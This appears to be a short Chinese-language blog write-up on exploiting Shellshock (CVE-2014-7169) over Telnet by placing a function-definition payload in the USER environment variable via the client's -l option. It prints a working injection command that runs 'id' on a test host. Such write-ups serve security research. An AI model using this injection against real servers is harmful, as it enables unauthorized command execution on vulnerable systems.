Shellshock漏洞与Telnet USER变量的利用分析

本文详细分析了如何通过Telnet客户端的USER环境变量利用Shellshock漏洞(CVE-2014-7169),包括漏洞原理、利用方法及实际演示,帮助安全研究人员理解这一经典漏洞的利用方式。

Shellshock and the Telnet USER Variable

在一次最近的测试中,Nessus扫描器报告了以下关键问题:

GNU Bash本地环境变量处理通过Telnet的命令注入(CVE-2014-7169)(Shellshock)

通过向远程服务器发送畸形的USER环境变量,可以成功利用此漏洞,使我们能够执行’id’命令。

虽然我了解Shellshock漏洞,但最初不清楚如何在此场景下实际利用它。多次搜索发现大量关于Shellshock原理和受影响设备的信息,但缺乏具体的利用方法。

通过一些实验、数据包捕获和分析man手册页,我终于找到了解决方法,并决定记录下来帮助他人。

关键在于标准Linux telnet客户端的一个我此前未知的功能:

1
2
-l user
指定远程系统登录用户。这是通过将指定名称作为USER环境变量发送实现的,因此需要远程系统支持TELNET NEW-ENVIRON选项。此选项隐含-a选项,也可与open命令一起使用。

了解这一点后,利用变得非常简单:

1
telnet 10.1.1.1 -l "() { :;}; /usr/bin/id"

以下截图展示了成功的漏洞利用:

[成功利用的截图展示]

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计